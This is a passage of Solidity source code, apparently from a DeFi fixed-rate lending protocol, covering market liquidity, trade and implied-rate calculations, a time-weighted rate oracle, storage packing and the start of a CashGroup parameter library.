int256 private constant MAX64 = 0x7FFFFFFFFFFFFFFF;
/// @notice Add liquidity to a market, assuming that it is initialized. If not then
/// this method will revert and the market must be initialized first.
/// Return liquidityTokens and negative fCash to the portfolio
function addLiquidity(MarketParameters memory market, int256 assetCash)
internal
returns (int256 liquidityTokens, int256 fCash)
{
require(market.totalLiquidity > 0, "M: zero liquidity");
if (assetCash == 0) return (0, 0);
require(assetCash > 0); // dev: negative asset cash
liquidityTokens = market.totalLiquidity.mul(assetCash).div(market.totalAssetCash);
// No need to convert this to underlying, assetCash / totalAssetCash is a unitless proportion.
fCash = market.totalfCash.mul(assetCash).div(market.totalAssetCash);
market.totalLiquidity = market.totalLiquidity.add(liquidityTokens);
market.totalfCash = market.totalfCash.add(fCash);
market.totalAssetCash = market.totalAssetCash.add(assetCash);
_setMarketStorageForLiquidity(market);
// Flip the sign to represent the LP's net position
fCash = fCash.neg();
}
/// @notice Remove liquidity from a market, assuming that it is initialized.
/// Return assetCash and positive fCash to the portfolio
function removeLiquidity(MarketParameters memory market, int256 tokensToRemove)
internal
returns (int256 assetCash, int256 fCash)
{
if (tokensToRemove == 0) return (0, 0);
require(tokensToRemove > 0); // dev: negative tokens to remove
assetCash = market.totalAssetCash.mul(tokensToRemove).div(market.totalLiquidity);
fCash = market.totalfCash.mul(tokensToRemove).div(market.totalLiquidity);
market.totalLiquidity = market.totalLiquidity.subNoNeg(tokensToRemove);
market.totalfCash = market.totalfCash.subNoNeg(fCash);
market.totalAssetCash = market.totalAssetCash.subNoNeg(assetCash);
_setMarketStorageForLiquidity(market);
}
function executeTrade(
MarketParameters memory market,
CashGroupParameters memory cashGroup,
int256 fCashToAccount,
uint256 timeToMaturity,
uint256 marketIndex
) internal returns (int256 netAssetCash) {
int256 netAssetCashToReserve;
(netAssetCash, netAssetCashToReserve) = calculateTrade(
market,
cashGroup,
fCashToAccount,
timeToMaturity,
marketIndex
);
MarketStorage storage marketStorage = _getMarketStoragePointer(market);
_setMarketStorage(
marketStorage,
market.totalfCash,
market.totalAssetCash,
market.lastImpliedRate,
market.oracleRate,
market.previousTradeTime
);
BalanceHandler.incrementFeeToReserve(cashGroup.currencyId, netAssetCashToReserve);
}
/// @notice Calculates the asset cash amount the results from trading fCashToAccount with the market. A positive
/// fCashToAccount is equivalent of lending, a negative is borrowing. Updates the market state in memory.
/// @param market the current market state
/// @param cashGroup cash group configuration parameters
/// @param fCashToAccount the fCash amount that will be deposited into the user's portfolio. The net change
/// to the market is in the opposite direction.
/// @param timeToMaturity number of seconds until maturity
/// @return netAssetCash, netAssetCashToReserve
function calculateTrade(
MarketParameters memory market,
CashGroupParameters memory cashGroup,
int256 fCashToAccount,
uint256 timeToMaturity,
uint256 marketIndex
) internal view returns (int256, int256) {
// We return false if there is not enough fCash to support this trade.
// if fCashToAccount > 0 and totalfCash - fCashToAccount <= 0 then the trade will fail
// if fCashToAccount < 0 and totalfCash > 0 then this will always pass
if (market.totalfCash <= fCashToAccount) return (0, 0);
// Calculates initial rate factors for the trade
(int256 rateScalar, int256 totalCashUnderlying, int256 rateAnchor) =
getExchangeRateFactors(market, cashGroup, timeToMaturity, marketIndex);
// Calculates the exchange rate from cash to fCash before any liquidity fees
// are applied
int256 preFeeExchangeRate;
{
bool success;
(preFeeExchangeRate, success) = _getExchangeRate(
market.totalfCash,
totalCashUnderlying,
rateScalar,
rateAnchor,
fCashToAccount
);
if (!success) return (0, 0);
}
// Given the exchange rate, returns the net cash amounts to apply to each of the
// three relevant balances.
(int256 netCashToAccount, int256 netCashToMarket, int256 netCashToReserve) =
_getNetCashAmountsUnderlying(
cashGroup,
preFeeExchangeRate,
fCashToAccount,
timeToMaturity
);
// Signifies a failed net cash amount calculation
if (netCashToAccount == 0) return (0, 0);
{
// Set the new implied interest rate after the trade has taken effect, this
// will be used to calculate the next trader's interest rate.
market.totalfCash = market.totalfCash.subNoNeg(fCashToAccount);
market.lastImpliedRate = getImpliedRate(
market.totalfCash,
totalCashUnderlying.add(netCashToMarket),
rateScalar,
rateAnchor,
timeToMaturity
);
// It's technically possible that the implied rate is actually exactly zero (or
// more accurately the natural log rounds down to zero) but we will still fail
// in this case. If this does happen we may assume that markets are not initialized.
if (market.lastImpliedRate == 0) return (0, 0);
}
return
_setNewMarketState(
market,
cashGroup.assetRate,
netCashToAccount,
netCashToMarket,
netCashToReserve
);
}
/// @notice Returns factors for calculating exchange rates
/// @return
/// rateScalar: a scalar value in rate precision that defines the slope of the line
/// totalCashUnderlying: the converted asset cash to underlying cash for calculating
/// the exchange rates for the trade
/// rateAnchor: an offset from the x axis to maintain interest rate continuity over time
function getExchangeRateFactors(
MarketParameters memory market,
CashGroupParameters memory cashGroup,
uint256 timeToMaturity,
uint256 marketIndex
)
internal
pure
returns (
int256,
int256,
int256
)
{
int256 rateScalar = cashGroup.getRateScalar(marketIndex, timeToMaturity);
int256 totalCashUnderlying = cashGroup.assetRate.convertToUnderlying(market.totalAssetCash);
// This would result in a divide by zero
if (market.totalfCash == 0 || totalCashUnderlying == 0) return (0, 0, 0);
// Get the rate anchor given the market state, this will establish the baseline for where
// the exchange rate is set.
int256 rateAnchor;
{
bool success;
(rateAnchor, success) = _getRateAnchor(
market.totalfCash,
market.lastImpliedRate,
totalCashUnderlying,
rateScalar,
timeToMaturity
);
if (!success) return (0, 0, 0);
}
return (rateScalar, totalCashUnderlying, rateAnchor);
}
/// @dev Returns net asset cash amounts to the account, the market and the reserve
/// @return
/// netCashToAccount: this is a positive or negative amount of cash change to the account
/// netCashToMarket: this is a positive or negative amount of cash change in the market
// netCashToReserve: this is always a positive amount of cash accrued to the reserve
function _getNetCashAmountsUnderlying(
CashGroupParameters memory cashGroup,
int256 preFeeExchangeRate,
int256 fCashToAccount,
uint256 timeToMaturity
)
private
pure
returns (
int256,
int256,
int256
)
{
// Fees are specified in basis points which is an rate precision denomination. We convert this to
// an exchange rate denomination for the given time to maturity. (i.e. get e^(fee * t) and multiply
// or divide depending on the side of the trade).
// tradeExchangeRate = exp((tradeInterestRateNoFee +/- fee) * timeToMaturity)
// tradeExchangeRate = tradeExchangeRateNoFee (* or /) exp(fee * timeToMaturity)
// cash = fCash / exchangeRate, exchangeRate > 1
int256 preFeeCashToAccount =
fCashToAccount.divInRatePrecision(preFeeExchangeRate).neg();
int256 fee = getExchangeRateFromImpliedRate(cashGroup.getTotalFee(), timeToMaturity);
if (fCashToAccount > 0) {
// Lending
// Dividing reduces exchange rate, lending should receive less fCash for cash
int256 postFeeExchangeRate = preFeeExchangeRate.divInRatePrecision(fee);
// It's possible that the fee pushes exchange rates into negative territory. This is not possible
// when borrowing. If this happens then the trade has failed.
if (postFeeExchangeRate < Constants.RATE_PRECISION) return (0, 0, 0);
// cashToAccount = -(fCashToAccount / exchangeRate)
// postFeeExchangeRate = preFeeExchangeRate / feeExchangeRate
// preFeeCashToAccount = -(fCashToAccount / preFeeExchangeRate)
// postFeeCashToAccount = -(fCashToAccount / postFeeExchangeRate)
// netFee = preFeeCashToAccount - postFeeCashToAccount
// netFee = (fCashToAccount / postFeeExchangeRate) - (fCashToAccount / preFeeExchangeRate)
// netFee = ((fCashToAccount * feeExchangeRate) / preFeeExchangeRate) - (fCashToAccount / preFeeExchangeRate)
// netFee = (fCashToAccount / preFeeExchangeRate) * (feeExchangeRate - 1)
// netFee = -(preFeeCashToAccount) * (feeExchangeRate - 1)
// netFee = preFeeCashToAccount * (1 - feeExchangeRate)
// RATE_PRECISION - fee will be negative here, preFeeCashToAccount < 0, fee > 0
fee = preFeeCashToAccount.mulInRatePrecision(Constants.RATE_PRECISION.sub(fee));
} else {
// Borrowing
// cashToAccount = -(fCashToAccount / exchangeRate)
// postFeeExchangeRate = preFeeExchangeRate * feeExchangeRate
// netFee = preFeeCashToAccount - postFeeCashToAccount
// netFee = (fCashToAccount / postFeeExchangeRate) - (fCashToAccount / preFeeExchangeRate)
// netFee = ((fCashToAccount / (feeExchangeRate * preFeeExchangeRate)) - (fCashToAccount / preFeeExchangeRate)
// netFee = (fCashToAccount / preFeeExchangeRate) * (1 / feeExchangeRate - 1)
// netFee = preFeeCashToAccount * ((1 - feeExchangeRate) / feeExchangeRate)
// NOTE: preFeeCashToAccount is negative in this branch so we negate it to ensure that fee is a positive number
// preFee * (1 - fee) / fee will be negative, use neg() to flip to positive
// RATE_PRECISION - fee will be negative
fee = preFeeCashToAccount.mul(Constants.RATE_PRECISION.sub(fee)).div(fee).neg();
}
int256 cashToReserve =
fee.mul(cashGroup.getReserveFeeShare()).div(Constants.PERCENTAGE_DECIMALS);
return (
// postFeeCashToAccount = preFeeCashToAccount - fee
preFeeCashToAccount.sub(fee),
// netCashToMarket = -(preFeeCashToAccount - fee + cashToReserve)
(preFeeCashToAccount.sub(fee).add(cashToReserve)).neg(),
cashToReserve
);
}
/// @notice Sets the new market state
/// @return
/// netAssetCashToAccount: the positive or negative change in asset cash to the account
/// assetCashToReserve: the positive amount of cash that accrues to the reserve
function _setNewMarketState(
MarketParameters memory market,
AssetRateParameters memory assetRate,
int256 netCashToAccount,
int256 netCashToMarket,
int256 netCashToReserve
) private view returns (int256, int256) {
int256 netAssetCashToMarket = assetRate.convertFromUnderlying(netCashToMarket);
// Set storage checks that total asset cash is above zero
market.totalAssetCash = market.totalAssetCash.add(netAssetCashToMarket);
// Sets the trade time for the next oracle update
market.previousTradeTime = block.timestamp;
int256 assetCashToReserve = assetRate.convertFromUnderlying(netCashToReserve);
int256 netAssetCashToAccount = assetRate.convertFromUnderlying(netCashToAccount);
return (netAssetCashToAccount, assetCashToReserve);
}
/// @notice Rate anchors update as the market gets closer to maturity. Rate anchors are not comparable
/// across time or markets but implied rates are. The goal here is to ensure that the implied rate
/// before and after the rate anchor update is the same. Therefore, the market will trade at the same implied
/// rate that it last traded at. If these anchors do not update then it opens up the opportunity for arbitrage
/// which will hurt the liquidity providers.
///
/// The rate anchor will update as the market rolls down to maturity. The calculation is:
/// newExchangeRate = e^(lastImpliedRate * timeToMaturity / Constants.IMPLIED_RATE_TIME)
/// newAnchor = newExchangeRate - ln((proportion / (1 - proportion)) / rateScalar
///
/// where:
/// lastImpliedRate = ln(exchangeRate') * (Constants.IMPLIED_RATE_TIME / timeToMaturity')
/// (calculated when the last trade in the market was made)
/// @return the new rate anchor and a boolean that signifies success
function _getRateAnchor(
int256 totalfCash,
uint256 lastImpliedRate,
int256 totalCashUnderlying,
int256 rateScalar,
uint256 timeToMaturity
) internal pure returns (int256, bool) {
// This is the exchange rate at the new time to maturity
int256 newExchangeRate = getExchangeRateFromImpliedRate(lastImpliedRate, timeToMaturity);
if (newExchangeRate < Constants.RATE_PRECISION) return (0, false);
int256 rateAnchor;
{
// totalfCash / (totalfCash + totalCashUnderlying)
int256 proportion =
totalfCash.divInRatePrecision(totalfCash.add(totalCashUnderlying));
(int256 lnProportion, bool success) = _logProportion(proportion);
if (!success) return (0, false);
// newExchangeRate - ln(proportion / (1 - proportion)) / rateScalar
rateAnchor = newExchangeRate.sub(lnProportion.divInRatePrecision(rateScalar));
}
return (rateAnchor, true);
}
/// @notice Calculates the current market implied rate.
/// @return the implied rate and a bool that is true on success
function getImpliedRate(
int256 totalfCash,
int256 totalCashUnderlying,
int256 rateScalar,
int256 rateAnchor,
uint256 timeToMaturity
) internal pure returns (uint256) {
// This will check for exchange rates < Constants.RATE_PRECISION
(int256 exchangeRate, bool success) =
_getExchangeRate(totalfCash, totalCashUnderlying, rateScalar, rateAnchor, 0);
if (!success) return 0;
// Uses continuous compounding to calculate the implied rate:
// ln(exchangeRate) * Constants.IMPLIED_RATE_TIME / timeToMaturity
int128 rate = ABDKMath64x64.fromInt(exchangeRate);
// Scales down to a floating point for LN
int128 rateScaled = ABDKMath64x64.div(rate, Constants.RATE_PRECISION_64x64);
// We will not have a negative log here because we check that exchangeRate > Constants.RATE_PRECISION
// inside getExchangeRate
int128 lnRateScaled = ABDKMath64x64.ln(rateScaled);
// Scales up to a fixed point
uint256 lnRate =
ABDKMath64x64.toUInt(ABDKMath64x64.mul(lnRateScaled, Constants.RATE_PRECISION_64x64));
// lnRate * IMPLIED_RATE_TIME / ttm
uint256 impliedRate = lnRate.mul(Constants.IMPLIED_RATE_TIME).div(timeToMaturity);
// Implied rates over 429% will overflow, this seems like a safe assumption
if (impliedRate > type(uint32).max) return 0;
return impliedRate;
}
/// @notice Converts an implied rate to an exchange rate given a time to maturity. The
/// formula is E = e^rt
function getExchangeRateFromImpliedRate(uint256 impliedRate, uint256 timeToMaturity)
internal
pure
returns (int256)
{
int128 expValue =
ABDKMath64x64.fromUInt(
impliedRate.mul(timeToMaturity).div(Constants.IMPLIED_RATE_TIME)
);
int128 expValueScaled = ABDKMath64x64.div(expValue, Constants.RATE_PRECISION_64x64);
int128 expResult = ABDKMath64x64.exp(expValueScaled);
int128 expResultScaled = ABDKMath64x64.mul(expResult, Constants.RATE_PRECISION_64x64);
return ABDKMath64x64.toInt(expResultScaled);
}
/// @notice Returns the exchange rate between fCash and cash for the given market
/// Calculates the following exchange rate:
/// (1 / rateScalar) * ln(proportion / (1 - proportion)) + rateAnchor
/// where:
/// proportion = totalfCash / (totalfCash + totalUnderlyingCash)
/// @dev has an underscore to denote as private but is marked internal for the mock
function _getExchangeRate(
int256 totalfCash,
int256 totalCashUnderlying,
int256 rateScalar,
int256 rateAnchor,
int256 fCashToAccount
) internal pure returns (int256, bool) {
int256 numerator = totalfCash.subNoNeg(fCashToAccount);
// This is the proportion scaled by Constants.RATE_PRECISION
// (totalfCash + fCash) / (totalfCash + totalCashUnderlying)
int256 proportion =
numerator.divInRatePrecision(totalfCash.add(totalCashUnderlying));
// This limit is here to prevent the market from reaching extremely high interest rates via an
// excessively large proportion (high amounts of fCash relative to cash).
// Market proportion can only increase via borrowing (fCash is added to the market and cash is
// removed). Over time, the returns from asset cash will slightly decrease the proportion (the
// value of cash underlying in the market must be monotonically increasing). Therefore it is not
// possible for the proportion to go over max market proportion unless borrowing occurs.
if (proportion > Constants.MAX_MARKET_PROPORTION) return (0, false);
(int256 lnProportion, bool success) = _logProportion(proportion);
if (!success) return (0, false);
// lnProportion / rateScalar + rateAnchor
int256 rate = lnProportion.divInRatePrecision(rateScalar).add(rateAnchor);
// Do not succeed if interest rates fall below 1
if (rate < Constants.RATE_PRECISION) {
return (0, false);
} else {
return (rate, true);
}
}
/// @dev This method calculates the log of the proportion inside the logit function which is
/// defined as ln(proportion / (1 - proportion)). Special handling here is required to deal with
/// fixed point precision and the ABDK library.
function _logProportion(int256 proportion) internal pure returns (int256, bool) {
// This will result in divide by zero, short circuit
if (proportion == Constants.RATE_PRECISION) return (0, false);
// Convert proportion to what is used inside the logit function (p / (1-p))
int256 logitP = proportion.divInRatePrecision(Constants.RATE_PRECISION.sub(proportion));
// ABDK does not handle log of numbers that are less than 1, in order to get the right value
// scaled by RATE_PRECISION we use the log identity:
// (ln(logitP / RATE_PRECISION)) * RATE_PRECISION = (ln(logitP) - ln(RATE_PRECISION)) * RATE_PRECISION
int128 abdkProportion = ABDKMath64x64.fromInt(logitP);
// Here, abdk will revert due to negative log so abort
if (abdkProportion <= 0) return (0, false);
int256 result =
ABDKMath64x64.toInt(
ABDKMath64x64.mul(
ABDKMath64x64.sub(
ABDKMath64x64.ln(abdkProportion),
Constants.LOG_RATE_PRECISION_64x64
),
Constants.RATE_PRECISION_64x64
)
);
return (result, true);
}
/// @notice Oracle rate protects against short term price manipulation. Time window will be set to a value
/// on the order of minutes to hours. This is to protect fCash valuations from market manipulation. For example,
/// a trader could use a flash loan to dump a large amount of cash into the market and depress interest rates.
/// Since we value fCash in portfolios based on these rates, portfolio values will decrease and they may then
/// be liquidated.
///
/// Oracle rates are calculated when the market is loaded from storage.
///
/// The oracle rate is a lagged weighted average over a short term price window. If we are past
/// the short term window then we just set the rate to the lastImpliedRate, otherwise we take the
/// weighted average:
/// lastImpliedRatePreTrade * (currentTs - previousTs) / timeWindow +
/// oracleRatePrevious * (1 - (currentTs - previousTs) / timeWindow)
function _updateRateOracle(
uint256 previousTradeTime,
uint256 lastImpliedRate,
uint256 oracleRate,
uint256 rateOracleTimeWindow,
uint256 blockTime
) private pure returns (uint256) {
require(rateOracleTimeWindow > 0); // dev: update rate oracle, time window zero
// This can occur when using a view function get to a market state in the past
if (previousTradeTime > blockTime) return lastImpliedRate;
uint256 timeDiff = blockTime.sub(previousTradeTime);
if (timeDiff > rateOracleTimeWindow) {
// If past the time window just return the lastImpliedRate
return lastImpliedRate;
}
// (currentTs - previousTs) / timeWindow
uint256 lastTradeWeight =
timeDiff.mul(uint256(Constants.RATE_PRECISION)).div(rateOracleTimeWindow);
// 1 - (currentTs - previousTs) / timeWindow
uint256 oracleWeight = uint256(Constants.RATE_PRECISION).sub(lastTradeWeight);
uint256 newOracleRate =
(lastImpliedRate.mul(lastTradeWeight).add(oracleRate.mul(oracleWeight))).div(
uint256(Constants.RATE_PRECISION)
);
return newOracleRate;
}
function getOracleRate(
uint256 currencyId,
uint256 maturity,
uint256 rateOracleTimeWindow,
uint256 blockTime
) internal view returns (uint256) {
mapping(uint256 => mapping(uint256 =>
mapping(uint256 => MarketStorage))) storage store = LibStorage.getMarketStorage();
uint256 settlementDate = DateTime.getReferenceTime(blockTime) + Constants.QUARTER;
MarketStorage storage marketStorage = store[currencyId][maturity][settlementDate];
uint256 lastImpliedRate = marketStorage.lastImpliedRate;
uint256 oracleRate = marketStorage.oracleRate;
uint256 previousTradeTime = marketStorage.previousTradeTime;
// If the oracle rate is set to zero this can only be because the markets have past their settlement
// date but the new set of markets has not yet been initialized. This means that accounts cannot be liquidated
// during this time, but market initialization can be called by anyone so the actual time that this condition
// exists for should be quite short.
require(oracleRate > 0, "Market not initialized");
return
_updateRateOracle(
previousTradeTime,
lastImpliedRate,
oracleRate,
rateOracleTimeWindow,
blockTime
);
}
/// @notice Reads a market object directly from storage. `loadMarket` should be called instead of this method
/// which ensures that the rate oracle is set properly.
function _loadMarketStorage(
MarketParameters memory market,
uint256 currencyId,
uint256 maturity,
bool needsLiquidity,
uint256 settlementDate
) private view {
// Market object always uses the most current reference time as the settlement date
mapping(uint256 => mapping(uint256 =>
mapping(uint256 => MarketStorage))) storage store = LibStorage.getMarketStorage();
MarketStorage storage marketStorage = store[currencyId][maturity][settlementDate];
bytes32 slot;
assembly {
slot := marketStorage.slot
}
market.storageSlot = slot;
market.maturity = maturity;
market.totalfCash = marketStorage.totalfCash;
market.totalAssetCash = marketStorage.totalAssetCash;
market.lastImpliedRate = marketStorage.lastImpliedRate;
market.oracleRate = marketStorage.oracleRate;
market.previousTradeTime = marketStorage.previousTradeTime;
if (needsLiquidity) {
market.totalLiquidity = marketStorage.totalLiquidity;
} else {
market.totalLiquidity = 0;
}
}
function _getMarketStoragePointer(
MarketParameters memory market
) private pure returns (MarketStorage storage marketStorage) {
bytes32 slot = market.storageSlot;
assembly {
marketStorage.slot := slot
}
}
function _setMarketStorageForLiquidity(MarketParameters memory market) internal {
MarketStorage storage marketStorage = _getMarketStoragePointer(market);
// Oracle rate does not change on liquidity
uint32 storedOracleRate = marketStorage.oracleRate;
_setMarketStorage(
marketStorage,
market.totalfCash,
market.totalAssetCash,
market.lastImpliedRate,
storedOracleRate,
market.previousTradeTime
);
_setTotalLiquidity(marketStorage, market.totalLiquidity);
}
function setMarketStorageForInitialize(
MarketParameters memory market,
uint256 currencyId,
uint256 settlementDate
) internal {
// On initialization we have not yet calculated the storage slot so we get it here.
mapping(uint256 => mapping(uint256 =>
mapping(uint256 => MarketStorage))) storage store = LibStorage.getMarketStorage();
MarketStorage storage marketStorage = store[currencyId][market.maturity][settlementDate];
_setMarketStorage(
marketStorage,
market.totalfCash,
market.totalAssetCash,
market.lastImpliedRate,
market.oracleRate,
market.previousTradeTime
);
_setTotalLiquidity(marketStorage, market.totalLiquidity);
}
function _setTotalLiquidity(
MarketStorage storage marketStorage,
int256 totalLiquidity
) internal {
require(totalLiquidity >= 0 && totalLiquidity <= type(uint80).max); // dev: market storage totalLiquidity overflow
marketStorage.totalLiquidity = uint80(totalLiquidity);
}
function _setMarketStorage(
MarketStorage storage marketStorage,
int256 totalfCash,
int256 totalAssetCash,
uint256 lastImpliedRate,
uint256 oracleRate,
uint256 previousTradeTime
) private {
require(totalfCash >= 0 && totalfCash <= type(uint80).max); // dev: storage totalfCash overflow
require(totalAssetCash >= 0 && totalAssetCash <= type(uint80).max); // dev: storage totalAssetCash overflow
require(0 < lastImpliedRate && lastImpliedRate <= type(uint32).max); // dev: storage lastImpliedRate overflow
require(0 < oracleRate && oracleRate <= type(uint32).max); // dev: storage oracleRate overflow
require(0 <= previousTradeTime && previousTradeTime <= type(uint32).max); // dev: storage previous trade time overflow
marketStorage.totalfCash = uint80(totalfCash);
marketStorage.totalAssetCash = uint80(totalAssetCash);
marketStorage.lastImpliedRate = uint32(lastImpliedRate);
marketStorage.oracleRate = uint32(oracleRate);
marketStorage.previousTradeTime = uint32(previousTradeTime);
}
/// @notice Creates a market object and ensures that the rate oracle time window is updated appropriately.
function loadMarket(
MarketParameters memory market,
uint256 currencyId,
uint256 maturity,
uint256 blockTime,
bool needsLiquidity,
uint256 rateOracleTimeWindow
) internal view {
// Always reference the current settlement date
uint256 settlementDate = DateTime.getReferenceTime(blockTime) + Constants.QUARTER;
loadMarketWithSettlementDate(
market,
currencyId,
maturity,
blockTime,
needsLiquidity,
rateOracleTimeWindow,
settlementDate
);
}
/// @notice Creates a market object and ensures that the rate oracle time window is updated appropriately, this
/// is mainly used in the InitializeMarketAction contract.
function loadMarketWithSettlementDate(
MarketParameters memory market,
uint256 currencyId,
uint256 maturity,
uint256 blockTime,
bool needsLiquidity,
uint256 rateOracleTimeWindow,
uint256 settlementDate
) internal view {
_loadMarketStorage(market, currencyId, maturity, needsLiquidity, settlementDate);
market.oracleRate = _updateRateOracle(
market.previousTradeTime,
market.lastImpliedRate,
market.oracleRate,
rateOracleTimeWindow,
blockTime
);
}
function loadSettlementMarket(
MarketParameters memory market,
uint256 currencyId,
uint256 maturity,
uint256 settlementDate
) internal view {
_loadMarketStorage(market, currencyId, maturity, true, settlementDate);
}
/// Uses Newton's method to converge on an fCash amount given the amount of
/// cash. The relation between cash and fcash is:
/// cashAmount * exchangeRate * fee + fCash = 0
/// where exchangeRate(fCash) = (rateScalar ^ -1) * ln(p / (1 - p)) + rateAnchor
/// p = (totalfCash - fCash) / (totalfCash + totalCash)
/// if cashAmount < 0: fee = feeRate ^ -1
/// if cashAmount > 0: fee = feeRate
///
/// Newton's method is:
/// fCash_(n+1) = fCash_n - f(fCash) / f'(fCash)
///
/// f(fCash) = cashAmount * exchangeRate(fCash) * fee + fCash
///
/// (totalfCash + totalCash)
/// exchangeRate'(fCash) = - ------------------------------------------
/// (totalfCash - fCash) * (totalCash + fCash)
///
/// https://www.wolframalpha.com/input/?i=ln%28%28%28a-x%29%2F%28a%2Bb%29%29%2F%281-%28a-x%29%2F%28a%2Bb%29%29%29
///
/// (cashAmount * fee) * (totalfCash + totalCash)
/// f'(fCash) = 1 - ------------------------------------------------------
/// rateScalar * (totalfCash - fCash) * (totalCash + fCash)
///
/// NOTE: each iteration costs about 11.3k so this is only done via a view function.
function getfCashGivenCashAmount(
int256 totalfCash,
int256 netCashToAccount,
int256 totalCashUnderlying,
int256 rateScalar,
int256 rateAnchor,
int256 feeRate,
int256 maxDelta
) internal pure returns (int256) {
require(maxDelta >= 0);
int256 fCashChangeToAccountGuess = netCashToAccount.mulInRatePrecision(rateAnchor).neg();
for (uint8 i = 0; i < 250; i++) {
(int256 exchangeRate, bool success) =
_getExchangeRate(
totalfCash,
totalCashUnderlying,
rateScalar,
rateAnchor,
fCashChangeToAccountGuess
);
require(success); // dev: invalid exchange rate
int256 delta =
_calculateDelta(
netCashToAccount,
totalfCash,
totalCashUnderlying,
rateScalar,
fCashChangeToAccountGuess,
exchangeRate,
feeRate
);
if (delta.abs() <= maxDelta) return fCashChangeToAccountGuess;
fCashChangeToAccountGuess = fCashChangeToAccountGuess.sub(delta);
}
revert("No convergence");
}
/// @dev Calculates: f(fCash) / f'(fCash)
/// f(fCash) = cashAmount * exchangeRate * fee + fCash
/// (cashAmount * fee) * (totalfCash + totalCash)
/// f'(fCash) = 1 - ------------------------------------------------------
/// rateScalar * (totalfCash - fCash) * (totalCash + fCash)
function _calculateDelta(
int256 cashAmount,
int256 totalfCash,
int256 totalCashUnderlying,
int256 rateScalar,
int256 fCashGuess,
int256 exchangeRate,
int256 feeRate
) private pure returns (int256) {
int256 derivative;
// rateScalar * (totalfCash - fCash) * (totalCash + fCash)
// Precision: TOKEN_PRECISION ^ 2
int256 denominator =
rateScalar.mulInRatePrecision(
(totalfCash.sub(fCashGuess)).mul(totalCashUnderlying.add(fCashGuess))
);
if (fCashGuess > 0) {
// Lending
exchangeRate = exchangeRate.divInRatePrecision(feeRate);
require(exchangeRate >= Constants.RATE_PRECISION); // dev: rate underflow
// (cashAmount / fee) * (totalfCash + totalCash)
// Precision: TOKEN_PRECISION ^ 2
derivative = cashAmount
.mul(totalfCash.add(totalCashUnderlying))
.divInRatePrecision(feeRate);
} else {
// Borrowing
exchangeRate = exchangeRate.mulInRatePrecision(feeRate);
require(exchangeRate >= Constants.RATE_PRECISION); // dev: rate underflow
// (cashAmount * fee) * (totalfCash + totalCash)
// Precision: TOKEN_PRECISION ^ 2
derivative = cashAmount.mulInRatePrecision(
feeRate.mul(totalfCash.add(totalCashUnderlying))
);
}
// 1 - numerator / denominator
// Precision: TOKEN_PRECISION
derivative = Constants.INTERNAL_TOKEN_PRECISION.sub(derivative.div(denominator));
// f(fCash) = cashAmount * exchangeRate * fee + fCash
// NOTE: exchangeRate at this point already has the fee taken into account
int256 numerator = cashAmount.mulInRatePrecision(exchangeRate);
numerator = numerator.add(fCashGuess);
// f(fCash) / f'(fCash), note that they are both denominated as cashAmount so use TOKEN_PRECISION
// here instead of RATE_PRECISION
return numerator.mul(Constants.INTERNAL_TOKEN_PRECISION).div(derivative);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./Market.sol";
import "./AssetRate.sol";
import "./DateTime.sol";
import "../../global/LibStorage.sol";
import "../../global/Types.sol";
import "../../global/Constants.sol";
import "../../math/SafeInt256.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library CashGroup {
using SafeMath for uint256;
using SafeInt256 for int256;
using AssetRate for AssetRateParameters;
using Market for MarketParameters;
// Bit number references for each parameter in the 32 byte word (0-indexed)
uint256 private constant MARKET_INDEX_BIT = 31;
uint256 private constant RATE_ORACLE_TIME_WINDOW_BIT = 30;
uint256 private constant TOTAL_FEE_BIT = 29;
uint256 private constant RESERVE_FEE_SHARE_BIT = 28;
uint256 private constant DEBT_BUFFER_BIT = 27;
uint256 private constant FCASH_HAIRCUT_BIT = 26;
uint256 private constant SETTLEMENT_PENALTY_BIT = 25;
uint256 private constant LIQUIDATION_FCASH_HAIRCUT_BIT = 24;
uint256 private constant LIQUIDATION_DEBT_BUFFER_BIT = 23;
// 7 bytes allocated, one byte per market for the liquidity token haircut
uint256 private constant LIQUIDITY_TOKEN_HAIRCUT_FIRST_BIT = 22;
// 7 bytes allocated, one byte per market for the rate scalar
uint256 private constant RATE_SCALAR_FIRST_BIT = 15;
// Offsets for the bytes of the different parameters
uint256 private constant MARKET_INDEX = (31 - MARKET_INDEX_BIT) * 8;
uint256 private constant RATE_ORACLE_TIME_WINDOW = (31 - RATE_ORACLE_TIME_WINDOW_BIT) * 8;
uint256 private constant TOTAL_FEE = (31 - TOTAL_FEE_BIT) * 8;
uint256 private constant RESERVE_FEE_SHARE = (31 - RESERVE_FEE_SHARE_BIT) * 8;
uint256 private constant DEBT_BUFFER = (31 - DEBT_BUFFER_BIT) * 8;
uint256 private constant FCASH_HAIRCUT = (31 - FCASH_HAIRCUT_BIT) * 8;
uint256 private constant SETTLEMENT_PENALTY = (31 - SETTLEMENT_PENALTY_BIT) * 8;
uint256 private constant LIQUIDATION_FCASH_HAIRCUT = (31 - LIQUIDATION_FCASH_HAIRCUT_BIT) * 8;
uint256 private constant LIQUIDATION_DEBT_BUFFER = (31 - LIQUIDATION_DEBT_BUFFER_BIT) * 8;
uint256 private constant LIQUIDITY_TOKEN_HAIRCUT = (31 - LIQUIDITY_TOKEN_HAIRCUT_FIRST_BIT) * 8;
uint256 private constant RATE_SCALAR = (31 - RATE_SCALAR_FIRST_BIT) * 8;
/// @notice Returns the rate scalar scaled by time to maturity. The rate scalar multiplies
/// the ln() portion of the liquidity curve as an inverse so it increases with time to
/// maturity. The effect of the rate scalar on slippage must decrease with time to maturity.
function getRateScalar(
CashGroupParameters memory cashGroup,
uint256 marketIndex,
uint256 timeToMaturity
) internal pure returns (int256) {
require(1 <= marketIndex && marketIndex <= cashGroup.maxMarketIndex); // dev: invalid market index
uint256 offset = RATE_SCALAR + 8 * (marketIndex - 1);
int256 scalar = int256(uint8(uint256(cashGroup.data >> offset))) * Constants.RATE_PRECISION;
int256 rateScalar =
scalar.mul(int256(Constants.IMPLIED_RATE_TIME)).div(SafeInt256.toInt(timeToMaturity));
// Rate scalar is denominated in RATE_PRECISION, it is unlikely to underflow in the
// division above.
require(rateScalar > 0); // dev: rate scalar underflow
return rateScalar;
}
/// @notice Haircut on liquidity tokens to account for the risk associated with changes in the
/// proportion of cash to fCash within the pool. This is set as a percentage less than or equal to 100.
function getLiquidityHaircut(CashGroupParameters memory cashGroup, uint256 assetType)
internal
pure
returns (uint8)
{
require(
Constants.MIN_LIQUIDITY_TOKEN_INDEX <= assetType &&
assetType <= Constants.MAX_LIQUIDITY_TOKEN_INDEX
